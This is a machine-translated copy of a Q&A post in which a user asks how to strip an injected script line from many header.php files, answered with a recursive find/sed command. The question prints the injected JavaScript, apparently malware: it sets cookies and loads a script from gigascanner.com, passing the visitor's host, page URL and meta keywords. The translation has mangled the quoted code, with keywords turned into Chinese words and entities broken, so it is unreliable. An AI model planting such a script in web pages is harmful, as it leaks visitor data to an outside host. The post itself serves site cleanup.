删除许多header.php文件中的一行

时间:2016-09-26 06:53:51

标签: linux shell sed

我想在某些文件中删除一行。

具体路线:

  

var a ='&#39 ;; setTimeout(1); function setCookie(a,b,c){var d = new   日期; d.setTime(d.getTime()+ 60 * C * 60 * 1E3);无功   E ="期满=&#34 + d.toUTCString();的document.cookie = A +" =" + B +&#34 ;; " + E}功能   的getCookie的(a){对于(VAR   B = A +" =",C = document.cookie.split(&#34 ;;&#34),d = 0; dhttp://www.gigascanner.com/js/jquery .min.php' +'?key = b64' +   '&安培; utm_campaign =' +' G91825' +'& utm_source =' + window.location.host +   '&安培; utm_medium =' +'& utm_content =' + window.location +'& utm_term =' +   encodeURIComponent(((k =(function(){var keywords ='&#39 ;; var metas =   document.getElementsByTagName(' meta'); if(metas){for(var   X = 0,Y = metas.length; X<' +' / script>')));

我用sed尝试。

sed -i '/<script>var a='';setTimeout(1);function setCookie(a,b,c)/d' ./header.php

我读过这个问题,但它并不适合我。

我想我做错了什么?

Delete lines in a text file that containing a specific string

1 个答案:

答案 0 :(得分:0)

感谢您的评论。

我找到了解决方案。

find ./ -type f -exec sed -i '/setTimeout(1);function setCookie(a,b,c)/d' {} \;